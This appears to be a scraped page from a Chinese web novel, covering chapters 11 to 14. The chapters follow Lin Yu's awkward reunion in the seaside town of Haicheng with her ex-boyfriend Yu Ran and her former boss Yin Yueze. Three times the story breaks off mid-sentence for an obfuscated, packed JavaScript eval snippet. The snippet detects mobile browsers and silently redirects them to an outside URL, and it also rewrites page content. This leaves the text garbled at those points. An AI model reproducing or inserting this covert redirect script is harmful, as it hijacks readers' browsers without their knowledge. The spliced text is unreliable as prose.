林余点开外卖软件，海城到底不比京市，这个时间点只有寥寥几家烧烤店能送外卖，再一看配送费，高达十五块。 林余沮丧地放弃，抱着薄被在床上翻来覆去地滚了好几圈，嘴巴里发出呜呜的小声闷哼，最后什么也没改变，反倒是自己头晕眼花，不得不艰难地支起身体恢复状态。 手机发出滴滴声，林余拿过一看。 【于燃：拍得很好，我最喜欢你从沙滩转场到民宿那一段，和我心目中海城的气质很相符。】 林余本来想回他一个“OK”的表情，可手指一动，误触到一个很可爱的，小狗竖起大拇指，而后又双手抱胸哼了一声的表情包。 她下意识想撤回，可又觉得没什么。 【林余：什么时候发？】 【于燃：不急，我另一家民宿马上要开，到时候一起宣传了。】 有什么比遇见前男友更心酸的事情？那必然是前男友混的比你好了。 林余略过这行字，回了于燃一个OK的表情。 【于燃：还没睡？】 【林余：不困。】 【于燃：又工作到凌晨】 【林余：通宵。】 林余做起事来全神贯注、昼夜颠倒的习惯是大学时养成的。 C大计算机系大一时是大类培养，一周五天几乎天天满课，林余要是想打比赛或是拓展一下自己的知识面，便只能在晚上进行，往往一工作就是一个晚上。 久而久之，林余的生物钟逐渐养成。 聊天就此结束，林余把界面切到视频软件上，恰好刷到一个美食视频，文案写着“转给名字里有c的朋友”，火锅滚烫冒着热气、烤鱿鱼在烤架上滋滋作响、卖相极佳的甜品被切开露出香甜的内馅。 林余沉默地看完了这个视频，内心十分触动。 就在这时，手机上又弹来消息。 【于燃：要不要去吃饭？】 于燃给她发来一个链接，点开是一家烧烤店。 【于燃：我在民宿门口，刚回来，什么也没吃。】 【于燃：给民宿剪视频到这么晚，辛苦你了，我心里过意不去。不然我吃完打包给你，但是会有点晚。】 【于燃：到那我给你拍菜单，有什么想吃的都告诉我，我再告诉老板，我问问有没有保温盒，怕路上凉了。】 【于燃：顺便可以聊聊视频，我有一些想法，当面沟通会更好。】 林余：...... 【林余：行，等我一会。】 林余拉开窗帘，阳台外小花园一片静谧，玫瑰和女神像都静静笼罩在路灯黯淡的光下，明月高悬天上，清冷的光平等地洒向她的造物，时间像凝固了一般。 她深呼一口气，感受独属于海滨城市的潮湿空气，虽然吃饭对象是于燃，但午夜时分的气氛特别好。 林余很快下了楼。 于燃一手插兜，一手拿着手机正在翻看，鼻梁上的眼镜还未来得及摘下，手机灯光映照下，显出几分疲色，正侧身站在楼梯口处。 “于燃。”林余小声叫他。 在林余说话的同时，于燃同样若有所觉地抬头，他脸上现出笑意，那点由眼镜带来的距离感又一下消弭。 “走吧。”他转了转刚拿出来的车钥匙。 于燃带她来到了车棚，七拐八拐之后，来到了一辆银灰色电动车前。 钥匙插进去，电动车的操作屏便亮起晶莹的光。 “我们坐这个？”林余没有别的意思，只是从没见于燃开过。 于燃看一眼林余，又摸摸鼻子：“海城主要交通工具就是电动车，方便。” “我是现在上来，还是等你开出来？” “等一下。” 他拧着车把手，缓慢地开了出来。 林余坐上去，电动车后座倒是很宽敞，足够让两人之间再隔一个林余，不会发生不小心与于燃后背来个亲密接触的尴尬状况。 电动车驶上马路，咸湿的海风打在林余脸上，马路宽阔几乎没有车辆，路边行人也十分稀少，墨绿色的树木沉默站在两边，夜色自两边蔓延。 林余感到分外宁静。 似乎许多需要忧心的杂事都在离她远去，无所谓正在驾驶电动车的人是谁，也没有就业升学的苦恼，妈妈的容颜也逐渐变得年轻，变成记忆里最和蔼的模样。 氛围很好，两人都没有说话。 林余仰头，静静感受着海风，直到电动车在一处热闹的街道口缓下来。 到处都是推着三轮车的小摊贩，卖的东西都是诸如淀粉肠、臭豆腐、煎饼果子之类的常见小吃。 廉价的塑料板凳和四四方方的小木头桌子被随意地摆放在老板摆摊的后方，选烧烤时用的小菜篮带着水渍，颜色有些黯淡。 “有多钱？”于燃说了句方言。 “三文一串。”店老板也用方言回答他。 南方的方言大多极难懂，腔调与普通话截然不同，林余从没接触过，选择低头拿串。 摊子虽然简陋，但里面的东西看起来都很好吃。 林余思忖着自己的食量，取舍着手上的食物。 于燃倒是没有忌口，小菜篮里装得满满当当，见林余看过来，给她介绍：“他们家的炒粉一绝，要不要也来一份？” 林余有些犹豫。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093812|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃：“吃不下可以分我一点，我一天没吃饭了。” “那来一份，不要葱花香菜。” 于燃桃花眼弯起，又叽里咕噜和老板说了一串她听不懂的话。 林余坐下，看向坐在她对面，正拆着一次性筷子的于燃，问：“海城宰客很严重吗？” 于燃回她：“大部分地方都是旅游城市的正常价位，只要你不去景区附近吃。” 林余：“那你怎么一直说这边的方言？” 于燃：“我外婆是海城人，所以我也会一点。” 这时，老板送烧烤过来，两人停止闲聊，吃得都有些快。 一是烧烤确实好吃，二是真的饿了。 林余三餐一直不规律，一般是想起来才吃。 倒是于燃，记忆里，他一直很自律。 虽然长着一副很会玩的脸，但确实是十一点睡七点起，泡着枸杞喝热水。 林余一度震惊，为什么会有人能够抵抗熬夜和垃圾食品的诱惑。 和于燃在一起后，潜移默化的，林余的生活习惯健康了许多，虽然因为满课的原因，熬夜一直没改掉，但除此之外，三餐她都吃得健康，经常跟着于燃一起去运动。 于燃怎么会一天没吃饭？ 但这疑问也仅仅是一闪而过，林余想起于燃还在民宿里兼职调酒师，以及雨夜时他指尖的一点猩红。 他确实变了很多，那不吃饭也很正常。 再说吃不吃饭也不关她的事。 老板又拿了两瓶啤酒过来。 于燃递给她一瓶，笑道：“度数不高，助眠用，喝不喝？” 那这一瓶可不够，林余接过。 又听见于燃在说话。 “我今天一直在陪我外婆，现在才吃饭。” 林余低头吃着烤串，顺便瞥了一眼于燃手边的酒，他还没怎么动，只喝了一口，应该醉不了。 聊家人对他们的关系来说，有些私密了。 “我今天一直在剪视频，顺便把之前欠的一些图P了，也一直没吃饭，你说的关于视频的想法，是什么？”她转移话题。 “很喜欢摄影吗？”于燃也没有回答她的问题，不紧不慢地把一个干净的小碗放在林余面前，示意她可以夹一点炒粉过来。 林余也不太想在这时候聊工作，给他分了一半：“比计算机喜欢。” “我看你心情比前几天要好很多。” 林余抬头看他，却见于燃也正盯着她看，形状好看的桃花眼带笑，眼底幽深又如海浪般慢慢起伏，嘈杂的街巷也因为对视安静了一瞬。 很快，于燃移开了视线，慢条斯理地把羊肉串用筷子撸到塑料碗里。 脑海中，可乐瓶上的笑脸一闪而过。 除了惊讶和尴尬之外，林余忍不住问他：“为什么？” “你在关心我？” 于燃看向她，林余的语气很是不解，那双下垂的狗狗眼也配合她，显露出真诚的疑惑来，似乎这真的是一件令人百思不得其解的事情。 于燃喟叹：“鱼鱼，关心朋友不是一件很正常的事吗。” 林余倾身，柔软的香气向他袭来，眼底澄澈，耳边一缕发跑道了脸颊前，她却没管，重复一遍：“朋友？” 于燃手指微动，垂下了眼。 “朋友。” 12. 第 12 章 中午十二点，林余从民宿的小餐厅里出来，小腹饱胀，又被宽大的半袖遮掩，显得格外瘦弱，青龙的尾巴露出，随着小臂的摆动晃啊晃。 她低着头，走得慢吞吞的，正在编辑社交软件的信息，准备在海城接几个摄影单，好维持生活质量。 消息发出，她刷新一下，浏览量目前只有自己。 眼前忽然一片阴影袭来，林余抬头，发现走廊扶梯上的小海豹被遮住了，一个巨型箱子出现在眼前。 巨型箱子前，是一个散着长发的人，飘逸的发丝随着他的动作摆动，耳边银色流苏正随着动作摇晃，侧头搬箱子时露出一点白皙精致的下巴，挽起的手臂可以明显看见用力的青筋和薄薄一层肌肉。 箱子看起来又大又重，此刻摇摇欲坠，而林余正在箱子的正后方。 动作比思维更快，林余上前一步，用肩膀抵住箱子。 搬箱子的人借力把箱子推到二三楼交接的平台上，他回头，丹凤眼微微弯起，露出歉疚又感激的表情，即便眼下的黑眼圈浓重，也无法遮掩他精致的面容，令林余想起大学时期去W市游玩时，樱花树下飘飘扬扬落下的花瓣。 林余再一次被他的美颜暴击。 是的，再一次。 “尹哥，你怎么在这里？”林余惊喜。 尹哥，全名尹月泽，是林余大学实习时的上司，为人性格温柔，照顾组员感受，两人在公司时关系不错。 尹月泽的表情也十分惊喜，他真心实意地笑起来，掏出手帕擦一擦额角的薄汗，三两步就下了到了林余所在的台阶。 他向林余靠近一些，淡淡的香味便扑面而来。 林余一抬头，就能接受到他的目光，目不转睛。 一个大美人这么盯着人看，即使彼此清清白白，也还是让人难以招架。 林余有些脸热，视线落在他摇晃的耳环上。 “小余，好久不见，你瘦了好多，纹身很酷！”终于，尹月泽移开视线，十分真诚，“能在这里见到你真好” 林余上前帮他推箱子：“我在这住三个月，尹哥呆多久？是批了年假来的吗？” “我辞职了。” “什么？！” 尹月泽看见林余瞪得圆圆的眼睛，忍不住笑出了声，他解释道道：“嗯...小余你知道的，做我们这行，996、007也是常有的，我年龄上来，熬不动了。” 很合理的理由。 但林余依旧感到可惜，和尹月泽共事时，她隐约知道他和领导关系很好，工资也很高，如果再卷几年，升到管理层，前途不可限量。 “这些之后再聊，我先把东西搬上去。”尹月泽双手用力，把箱子往前推。 林余赶紧道：“我来帮你，尹哥。” 尹月泽避开她的手，温柔笑道：“放心，我有外援。” “小燃，能下来帮我一下吗？” 三楼传来脚步声，林余听到这个名字，心里有了预感。 “然”这个发音作为名字十分常见，可要说这个民宿里谁和尹月泽最有可能认识，那她不得不联想到一个好几天没见的人了。 她向来是不相信天底下有那么巧的事情，可最近的种种经历，也让她不得不承认，世界就是这么小。 果然，抬头望去，下来的人格外熟悉。 林余下意识后退几步。 可尹月泽却偏偏在这时候侧身，露出林余来，甚至上前几步，给他们两人相互引荐。 “小余，这是于燃，民宿老板，也是我在前司的嫡系。小燃，这是林余，我前前司的实习生。” 尹月泽说话的声音轻轻柔柔，配合起他那张脸来，只让人感觉如沐春风。 林余慢吞吞走到于燃面前，沉默，于燃扶着箱子，笑得漫不经心，也没有开口说话。 “你们，认识？”尹月泽左右看了看，异常敏锐，问道。 他话音刚落，两人就对上视线。 林余看不懂于燃脸上的表情，他眼中的笑意依旧显得很愉快，又向她靠来，张嘴欲说些什么。 她的视线极其自然地飘过于燃，人又往尹月泽那边走了几步，尹月泽长得高，几乎将她完全遮住。 于燃眉毛微挑。 “认识，我们......” 林余飞速打断他：“尹哥，我们是一个学校一个专业的，他是我学长，进节字还是他内推的。”她朝于燃看去，仗着尹月泽在她前面，看不清她的表情，警告地瞪了一眼于燃。 于燃微笑：“是的，我们是朋友。” 尹月泽一拍手，恍然大悟：“啊，我想起来了，瞧我这记性。” “那太好了！今天晚上我们三个人一起出去逛逛吧，”他眼睛亮起来，满头乌黑飘逸的长发也随着他的动作微微晃荡，“好久不见，我请你们吃饭。” 于燃率先往楼上走去：“尹哥你飞了十个小时都不需要休息的话，我当然可以。” 尹月泽又看向林余。 林余看着前方男人的背影，他似乎心情不错，步伐十分轻快，几步就要上了另一层的台阶。 “小余，你有空吗？” “好的，尹哥。” 林余与尹月泽并排走着，从他的口中，理出了三个人之间的联系。 在林余结束这段实习不久后，尹月泽跳槽去了国外，时值于燃毕业，接了国外的offer，尹月泽是他的上司。 C大学子优秀者众多，计算机系更是聚集着这个学校分数最高的一批人，大家都非常努力，或者说，C大卷，C大计算机系更是卷中卷。 林余从大一下的暑假开始实习，遇见尹月泽时，是大二下的暑假。 她在熟人面前向来分享欲旺盛，更何况是于燃，当时为什么没和于燃说过尹月泽这个大美人领导呢？ 想起来了。 两人当时正在吵架。 京市的夏天干燥而炎热，傍晚时的夕阳闷热地可怕，天空被浸染成橘黄色，不见一丝云彩，连空气都凝固。 林余走在于燃旁边，刚好到他肩膀，她侧头整理自己的帽子和落到眼前的刘海，额头浸出一层薄汗，余光里看到于燃正目不斜视地往前走着，桃花眼微敛。 帽子很快被整理好，林余转过头来。 两人继续走着，中间分隔出一段距离，裙摆和T恤偶尔轻轻摩擦碰撞，又很快分离。 没有人开口说话，仿佛不认识一般，气氛略显紧绷而沉闷，只有蝉鸣在一旁叫嚣。 林余闷头走着，思绪放空。 突然，手背上有淡淡痒意，谁的指尖划过她的手，向水珠划过皮肤一般，带着些微的凉意与明显的接触感。 这是北方的夏天，一场小雨也足以抚平心里的焦躁。 林余忍住手背处传来的细微痒意，继续往前走。 于燃握住了她的手。 林余停下来看他，视线移到两人相连的手上。 头顶又传来些微的痒，于燃另一只手帮她正了正帽子。 “刚刚戴歪了。” “怎么不早和我说。” “对不起。” “也不是什么大事，干嘛道歉。” “抱一下。”林余于是就把头埋进于燃怀里，感受着温暖又令人放松的气息，再不想出来。 于燃被抱得猝不及防，但也迅速搂住她，一手安抚的从她柔软的发摸到脊背，轻拍。 “怎么还像小孩子一样。” “不是小孩子了。” “好好，我们鱼鱼都是忙的团团转的大人了。” 两个人在面对争执时都喜欢冷处理，美名其曰让彼此都冷静一下。 这套方法，在两人之间还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093813|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有失效过。 每次吵架都无疾而终，有的事情好像两方都占理，求同存异就是最好，爱意还在延续，总有人憋不住率先示好，他们总是在一天内就能走完争吵、冷处理、和好的所有流程。 可当时两人都有自己的事情要忙，聚少离多，只能线上交流，已经连续半个月只有互相报备的内容，更遑论谈论一些生活的趣事。 吵架的理由林余早就记不得了，那时每天都有很多事情，家里的、学校的、工作的...... 有时候林余拿起手机，下意识想跟于燃聊天，看到寥寥的聊天记录，才又想起来，两人正在吵架。 尹月泽正是在那段时间出现的人。 回忆收拢，林余已经不知不觉走到了尹月泽房间门口。 “小余，快来喝杯水，累坏了吧。”尹月泽招呼她。 林余走进去，悲伤地发现两人之间的贫富差距。 尹月泽同样是一室一厅的配置，只不过他有厨房，此外，玄关、阳台、厕所的装修都比林余的完善豪华多了。 巨型箱子放在客厅里，大小也显得极为正常。 * 夏日里天黑得晚，六点多也只是光线暗淡了些，远远还没到天黑的程度。 尹月泽定的是一家靠近海边的餐厅，离民宿不远，走路就能到。 马路宽阔，行人寥寥。 林余刻意走在了最边上，中间是尹月泽，另一边是于燃。 她不太想和于燃接触，便主动开启话题，和尹月泽聊起来。 听到林余对于他屋中厨房的羡慕，尹月泽温柔笑道：“我应该会住很久，小余来我这里吃饭吧，一人份的饭菜好多东西都做不了，你来正好。” “这怎么好意思呢，太打扰了。”林余嘴上这么说着，可却十分心动，又补充道，“尹哥想吃什么，我来买。” 于燃不经意插话，语气里含着笑意，很是慵懒随意：“民宿提供公共厨房，很少人用，也有每天打扫，设施更齐全，尹哥也可以在那里做饭。” 林余疑惑：“民宿里有公共厨房吗？拍摄的时候你怎么没和我说？” 于燃顿了顿，开口：“前段时间计划开办的，马上就装修好了。” “哦。”林余敷衍应他一声，对尹月泽笑，狗狗眼弯起来时，十足十的真诚：“尹哥，你的耳环好好看啊，有没有链接，我要买同款。” “好啊，我发给你，他们家有一款很适合小余，可爱。” “谢谢尹哥，但我最近想走酷姐风，觉得你耳朵上这个就很不错。” “我行李里带了不少，回头你看看有没有适合你的，最近有个元素很火......” 林余很喜欢和尹月泽聊天，因为他虽然比她年长许多，可心态观念却比一些年轻人来得更为宽容开放，和他共事时，总是感到被尊重，再天马行空的想法也会被回应。 这几天鲜少开口与人说话，林余有些憋，此时遇见尹月泽，不可谓不是越聊越在兴头上，那双下垂的显得极乖巧真诚的眼睛也格外明亮，一个劲的盯着尹月泽看，完全忘记旁边还有一个朋友于燃。 尹月泽也看着她淡淡笑着。 于燃看向林余，她小巧可爱的耳垂上也缀有两枚黑色星星。 他视线再略过尹月泽的耳边，那里有一条长长的黑色流苏耳环。 嗯，还行。 于燃轻咳一声，摸向自己的耳朵，问：“打耳洞麻烦吗？我最近也想试试。” 林余的回复很快：“你不是说你的长相不适合戴耳钉吗？对了尹哥，他还说打耳洞没有男子气概！” 尹月泽立即谴责地看向他，林余也学着他谴责的目光，目光里十分责备，却也活力十足。 于燃弯起唇角，双手举过头顶表示投降：“我已改过自新，还请长官再给我一次机会。” 13. 第 13 章 这几天，林余再没有饿过肚子。 尹月泽是个超强行动派，说要请林余吃饭，第二天中午就做好了饭。 林余熬夜惯了，尹月泽敲响她房间门时，她还正在熟睡，可那淡淡的起床气却在看到色香味俱全的三菜一汤时骤然消失。 民宿里虽然提供吃食，但饭店做的和自己做的，就是很有些差别。 林余头都要埋到饭里，一旁的于燃将纸巾递给她，夹菜的手却没有止住：“碗给我，给你盛汤，别呛着。” 三人已经连续四天中午相聚在尹月泽家的客厅了，这几天林余和于燃轮流买菜过来给尹月泽做，虽是住的民宿，却颇有一种比在家还吃得好的感觉。 尹月泽一头长发被扎成一个低马尾，没了头发的遮掩，越发显得他容颜清丽，“小燃，帮我也盛一碗，谢谢。” 于燃点头：“稍等。” 厨房的桌子是长方形的，尹月泽坐在主座上，林余和于燃坐在同一侧，方便夹菜，鱼汤就放在两人中间。 林余迟疑地看着自己手中的碗，实在说不上干净整洁，碗壁上沾着米饭和菜汁，因为她嘴与碗沿接触的缘故，有几粒米还粘在上面。 手里的碗被于燃接走了。 男人表情没有一点变化，仍然是那副淡淡含笑的轻松表情，问她要不要鱼肉，又给她挑了几块肚子上的肉，还贴心地给她擦了擦碗上不小心沾上的汤。 递还给她时，又无比自然地给尹月泽盛汤。 林余低头喝汤，尹月泽正虚心向于燃请教着海城游玩攻略，又问林余有没有什么推荐的。 虽说林余到海城也快半个月了，但细细想来，这段时间还真是一点游客该做的事情都没干。 尹月泽十分惊讶，但也开心：“我们两个结伴去逛逛海城吧。” 林余自无不可：“好啊，我带了相机来，可以给尹哥拍照。” 于燃嘴角的笑意加深，给自己也盛了一碗汤，：“尹哥先好好调作息吧，在国外的时候我就记得尹哥身体不好，体检报告好几项异常，水土不服很容易生病的。” 尹月泽笑：“只要不上班，我的身体就会健康。” 于燃：“那就好。” 两人说着话，话题又向别的地方偏移，讨论到年龄上来。 林余这才知道原来尹月泽已经三十二了，在惊叹他外表与年龄完全不符之余，她的第一反应是，尹月泽还有三年就不能考公了。 突然，一阵优扬的铃声响起来，尹月泽的闹钟响了。 他一向温柔的表情难得出现裂痕，带有几分幽怨。 “你们先吃，那边还有工作上的事情要问我。” 尹月泽一走，刚刚的话题断了，饭桌上寂静了半分钟。 鱼汤有些烫，林余小口啜饮着，感受着它的鲜美，感叹：“尹哥的手艺真好，我要有他的一半，就去当厨师。” 于燃嗯了一声，突然叫她：“林余。” 他的笑容相比刚刚聊天时略显收敛，但还是显得十分招摇，那双桃花眼看人时格外深邃。 林余扒拉一口鱼肉，问：“什么事？” 这几天三人一直一起吃午饭，有尹月泽这个黏合剂在，林余与于燃的关系进一步缓和。 于燃从口袋里掏出一个很精致的小盒子递给她。 是一条很漂亮的珍珠项链，黑色的珍珠被蛇骨银链吊在中间，散发着金属质感的光泽，林余抬起盒子，眯眼细看，珍珠在阳光下煜煜生辉，莹润可爱。 “隔壁市特产。”于燃语气轻松，“感觉适合你，不是要当酷姐吗？” 林余把它重新放回盒子里。 “谢谢，珍珠很漂亮，但是我不能收”。 于燃用手捻起蛇骨链，珍珠滑落在他骨节分明的指尖，显得格外娇小：“为什么不能收？” 林余视线不自觉追随。 于燃这几天一直在给她送小礼物，海月滩的神奇海螺、补气血的中药香囊...... 都是一些几十块钱的旅游特产，林余出去玩也会给舍友带，不收倒显得小题大做。 但这次有些过了，林余不懂珠宝，但是也多多少少听人说过，颜色越特殊的珍珠越少见，自然也越贵。 于燃有钱，送东西从来不送假货，黑色的珍珠价格应该也不便宜。 他们之间，还没有熟到可以送贵重礼物的地步。 林余问他：“你给尹哥送了什么？” 于燃：“尹哥太有钱了，不好送，还在想。” 林余再说：“无功不受禄，没有老板给旅客送礼物的道理。” 于燃无奈笑笑：“这是我去隔壁市出差时，养珠厂的老板送的，他那特别多五颜六色的珍珠。我自己不戴这些，你不要，我放着也是积灰。而且，我觉得它和你挺配的。” “扣子有点难弄，我帮你戴吧。” 说话时，于燃就已经移动到林余背后了，两人本来就挨着坐，只要椅子稍微往后一些，就能将林余完全包裹住，身体的热度也传达过去。 林余没说话，头微微低下去。 银质链条细微冰凉的触感至脖颈间传来，于燃的手离她很远。 “你不问问我为什么觉得和你很配？”于燃随口闲聊道。 “为什么？”林余问他。 “觉得这枚珍珠很酷，像你的新风格，你的纹身也很酷，这么大面积，做的时候应该挺痛的吧。” 纹身是假的，林余不了解这些，含糊应了两声。 她打开手机的自拍功能，透过屏幕看到男人微敛的眉眼以及唇角的淡笑，他的视线同样聚焦在屏幕上，夸赞：“项链很适合你，怎么样，我的眼光不错吧。” “嗯，不愧是燃哥，眼光就是好。”不管是上学时觉得很难的代码、吵架时的主动和好、难以圆滑的人际交往，于燃总是能快速找到切入点，着手解决以达到自己的目的。 现在也是一样。 林余微微往后仰去，后脑勺感受到一片坚硬又柔软的温热，她停住，这是一个略微越界的距离。 从手机里看，好像她倒在于燃怀里。 于燃说话的声音停住。 林余的表情有些纠结，这样的表情出现在她的脸上显得十分可爱，没有人会舍得拒绝。 这是正确的吗？ 她最终还是缓慢地斟酌着开口了。 “你其实不想和我做朋友吧？”虽然于燃在不停的给她送礼物，平时也表现得很照顾她，但两人之间的距离其实十分疏远，谁也没有真的踏出这一步。 林余不算太迟钝，自然能感觉到。 但她搞不懂于燃，搞不懂他心里究竟在想什么。 于燃说话时，声音的震动透过薄薄的夏季衣物传来，他微微低头，鼻尖要触到林余毛茸茸的发尖：“怎么会怎么想？” 林余没有被他带着走，坚持：“你先回答我。” 两人同时看向手机屏幕，交换一个间接的对视。 于燃似乎轻轻叹了一口气，身体向后的同时，手向前伸，把珍珠项链给她摆正，动作小心翼翼，没有碰到她。 “你想我是吗？” “我的想法不重要，重要的是你怎么想的。”林余回他，“你心里不要有负担，也不要骗我。” 于燃轻笑一声：“是不是好像没有那么重要。” 林余扭头，尝试辨别出男人眼底的真正情绪。 可是有点难，她放弃了。 于燃止住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093814|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑，手指轻轻敲在饭桌上，传来不轻不重的声音，视线轻轻划过林余的眼睛。 “至少现在这个距离，我们都可以接受。” 可能是于燃比她大五岁的原因，除了情侣这一身份之外，于燃也真的把自己当成林余的哥哥，在一起时，事事都喜欢揣摩、照顾她的感受。 大部分时候，林余对他都毫无保留，所以于燃的保护欲总能得到满足。 打比赛的时候，林余是队长，既要协调分配组员的关系和任务，作为组里水平比较高的理科生，数据也多是她跑。 当时有个组员承受不了压力，嚷嚷着要退赛，可比赛进入到关键时候，缺少任何一个人都不行。 林余因为这件事和于燃吐槽过很多次，但从来没有想过于燃会为此做什么——他帮林余把所有数据都跑了，让林余可以专心去处理这件事。 这当然很好，前提是于燃提前和她说的话。 两人的手机、电脑密码都是互通的，也接受对方随时使用亦或者是查岗。 林余默默把密码改了，那时候太忙了，没有时间生气，等事情处理完再说。 直到于燃拿着她的手机，轻轻地带着调笑意味的摇晃着：“鱼鱼长大了，有自己的小秘密了。” 林余有点生气，扑进他的怀里，使劲拱他：“以后不准随便看我手机，更不准帮我写作业，我自己会写，有什么事情要和我提前说，不要自己一个人把事情全干了。” “好好，鱼鱼心疼我了吗？可是能帮上你的忙，我心里很高兴。”于燃稳住身形，轻轻拍她。 林余知道两人的理解有错位，可氛围太好，也就没有再说什么。 磨合嘛，总是要慢慢来的，以后还有很多机会。 后来林余比赛再没有这样的情况出现，也就不知道于燃到底是真理解了，还是没有机会。 更遑论两人现在不是情侣，更冷酷的说，也称不上朋友。 林余并不认为这是一个让人感到舒服的距离，她觉得别扭。 于燃给她送礼物她觉得别扭、于燃若有似无的区别对待让人觉得别扭，于燃自以为只有自己很成熟，能够维持好与前女友良好的社交距离让人觉得不爽。 “我不舒服，一点也不舒服。”林余斩钉截铁地告诉于燃。 “你让我感觉，我们的关系在越界，可我不喜欢这样。” 她关闭手机，站起身，下垂的狗狗眼没有了平日的无所谓与柔软，自上而下的看着于燃。 “我想起来还有点事，先走了，你能帮我和尹哥说一下吗？” 她转身要走，衣角却被人拽住。 房间里只有她和于燃两个人，是谁不言而喻。 “对不起，是我没有保持好距离，给你带来困扰了。” “我们就做朋友好吗？我想和你做朋友。因为我们上学时的关系比较僵，所以我想要对你更好一点来缓和关系，但是好像用力过猛，让你不舒服了” * 尹月泽回来时，林余已经走了。 尹月泽四处看了看，问：“小余呢？” 于燃：“她有点事先走了。” 尹月泽：“好吧，我今天还做了她上次强烈推荐的糖醋鱼，居然没吃几口就走了，下次要罚她买菜。” 他坐下，打火机点起火，又给于燃一支，于燃接过。 尹月泽笑：“少抽点，在M国的时候就觉得你抽的太厉害了，现在工作压力不大，也该注意下身体健康了。” 于燃笑不出来，只能胡乱点了点头，他咬着烟没点着，靠坐在椅子上，头微微垂着，忽然站起来：“我想起来今天有几个旅客点了接机服务，店里忙不过来，也得先走了，尹哥，下次我请你们吃饭。” 14. 第 14 章 自从上次的不愉快后，林余没和于燃有过联系，他不再来尹月泽的饭局，也停止了旅游攻略的分享，即使是在民宿偶遇，林余也避免和他眼神接触。 这天，尹月泽邀请林余一起去海边玩。 海城夏日太阳毒辣。 林余头戴遮阳帽，头垂得低低的，穿一件宽松半袖和短裙，一双细长白皙的腿俏生生地露出来，她还觉得热，不停用手扇风。 反观尹月泽，内里一件白色T恤的同时还外罩一件格子短袖，也显得游刃有余。 夏季昼长夜短，下午四点的太阳和中午没有一点区别，林余感觉自己不是去吃烧烤的，而是去被考的。 头顶突然有微弱的凉风吹来，她抬头。 尹月泽手举一个小风扇，冲着林余吹，她忍不住更凑近，风扇也顺着她的意思往下，正对着她的脸和脖子，粘在额头上的发丝被吹起。 “这么热呀，给你。”尹月泽递给她。 林余接过，再凑近对着自己吹了又吹，才感觉好受一些，她有些不好意思：“只有一个吗？” 尹月泽摇摇头，笑：“本来就是给你准备的。” “上来，我载你。”尹月泽租了一辆电动车。 两人都是游客，商量了一阵还是决定去旅游景区看看。 云水滩是看夕阳的绝佳场地，又因为游客聚集，附近有一条很长的小吃街，晚上特别热闹。 但现在看来，离太阳下山还有很长一段时间。 林余偶然想起，于燃发给她的链接里面说过，云水滩附近有一条环海公路，是政府专为旅游而设立的路线，走完大概一个多小时，如果开电动车能更快一些。 刚好消磨时间。 坐在后座，尹月泽的头发随风飘扬，有一些长发便打在了林余的眼睛下。 她便向后仰去，欣赏着尹月泽的背影，美人就是美人，连个背影都十分赏心悦目。 林余忍不住发出疑问：“尹哥，你有对象吗？”她很谨慎，用了对象两个字，没有注明性别，他们公司文化十分自由，但每个人都只是公司的一颗螺丝钉，没那么多时间去关注那些有的没的。 两人的交流也更多是工作上的。 “怎么了？”尹月泽声音温柔，清晰地从前方传来。 “没什么，就是觉得你挺会照顾人的。” 尹月泽似乎是笑了一声，电动车在公路上慢慢地开着，太阳又很大，林余一手拿着风扇，一手捏着帽檐，忍不住往他的影子下靠。 尹月泽也察觉到了，问她：“要不要找个地方休息会？” 林余摇头，好不容易出来一趟，她还是想把游客必去的地方逛完，省的以后再来。 “其实很不好意思，我都三十多了，还只谈过一次。工作太忙，不想耽误人家姑娘。” 林余知道了，是女生，她连忙安慰：“我也只谈过一段。尹哥，你有钱有颜，肯定能找到喜欢的！” 两人就这样有一搭没一搭地说着话，林余风扇都吹得没电了，天色才有了几分倾颓。 尹月泽对她伸出了手，林余借力下来，虽然没有开车，但林余无端还是很累，脸颊处似乎还残存着太阳的温度，整个人显而易见地蔫了。 还好她今天没化妆，不然这时候该全部脱了。 “看，”尹月泽站在石阶之下，刚好和林余持平，他温柔笑着，手指着前方，“太阳要落下了。” 大片大片绵软而橙黄的云朵挤在一起，天空满满当当，甚至有向下倾轧的姿态，远方的海水澄澈，透出夕阳的颜色，已然分不清哪里是云哪里是海了，有海鸟略过人群，又被孩童的惊叫惊起。 林余感觉这半天受的苦都值得了，云水滩名不虚传。 夕阳斜斜照在她的身上，晕染出一片橘色，林余慢慢坐下，抱住双腿，把头枕在膝盖之上，正出神之际，有含笑而又磁性的声音从耳边传来。 她看过去，眼前身材高大，桃花眼含笑的男人，不是于燃又是谁？ 男人也正好朝她看来，手已经举到半空，道了一句好巧，叫了一声尹哥，可眼睛却看着林余。 侧面的太阳被挡住，洒下一片阴凉。 